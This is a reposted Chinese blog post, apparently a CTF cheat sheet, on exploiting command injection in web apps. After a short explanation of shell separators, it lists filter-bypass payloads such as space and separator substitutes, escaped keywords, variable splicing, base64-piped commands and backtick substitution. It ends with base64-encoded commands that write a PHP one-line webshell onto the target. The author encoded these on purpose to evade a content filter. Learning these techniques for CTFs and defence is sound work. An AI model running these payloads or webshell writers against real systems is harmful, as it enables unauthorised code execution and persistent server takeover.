RCE总结

Posted IceSecluded

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了RCE总结相关的知识,希望对你有一定的参考价值。

RCE命令总结

RCE基础知识点

rce分为远程执行ping,和远程代码执行eval。
漏洞出现原因:未在输入口做输入处理。
涉及到ping命令:ping是windows,linux系统下的一个命令,ping也属于一个通信协议,是TCP/IP协议的一部分,利用ping命令可以检查网络是否连通,可以很好的帮助我们分析和判定网络故障。

LINUX系统的管道符:

1、” ; “: 执行完前面的语句在执行后面的语句。
2、” | “: 显示后面的语句的执行结果。
3、” || “:当前的语句执行出错时,执行后面的语句。
4、” & “:两条命令都执行,如果前面语句为假则执行后面的语句,前面的语句可真可假。
5、” && “:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则执行两条命令,前面的语句只能为真。

windows系统的管道符:

1、” | “ :是直接后面的执行语句
2、” || “ :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才能执行。
3、” & “ :两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4、” && “ :如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

注:windows没有“;”

RCE的过滤

命令注入

直接输入127.0.0.1 & ls
ls就是列出当前目录下所有文件
然后发现php文件,执行127.0.0.1 & cat flag.php。然后查看源代码即可。

过滤cat

ca\\t,ca\'\'t,ca""t还是可以继续执行cat的功能。

例如
执行127.0.0.1 & ca\\t flag.php
查看网页源代码即可。

cat的代替

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看

过滤空格

知识点:空格可以替换 <,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1

因为空格被过滤,所以
127.0.0.1&cat<flag.php
查看网页源代码就有答案了哈。

过滤运算符

运算符分号可以用 %0a,%0d,%0D%0A替代。

变量拼接

?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

base64编码

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw解码为flag.php

内敛绕过!!!!

就是将反引号内命令的输出作为输入执行。
?ip=127.0.0.1;cat$IFS$1`ls`
会抓取ls返回的所有文件的内容

00截断绕strpos函数

PHP5.2+可以用截断漏洞(%00)绕过strpos检验函数

RCE写入木马

emmmm直接写在这里被过滤了= =
base64加密了一下

命令执行写入一句话木马

ZWNobyAiPD9waHAgQGV2YWwoXCRfUE9TVFtcJ3Rlc3RcJ10pOz8+IiA+IDAwMC5waHA=

代码执行写入一句话木马

P2E9ZmlsZV9wdXRfY29udGVudHMoJzU2Ni5waHAnLCc8P3BocCBAZXZhbCgkX1BPU1RbXCd0ZXN0XCddKTs/PicpOw==

c3lzdGVtKCdlY2hvICI8P3BocCBAZXZhbChcJF9QT1NUW1wndGVzdFwnXSk7Pz4iID4gNTUzLnBocCcpOw==

PS:登录才可复制

以上是关于RCE总结的主要内容,如果未能解决你的问题,请参考以下文章

python常用代码片段总结

浅谈无参数RCE[未完

BootStrap有用代码片段(持续总结)

BootStrap实用代码片段(持续总结)

回归 | js实用代码片段的封装与总结(持续更新中...)

pikaqiu练习平台-RCE(远程系统命令代码执行)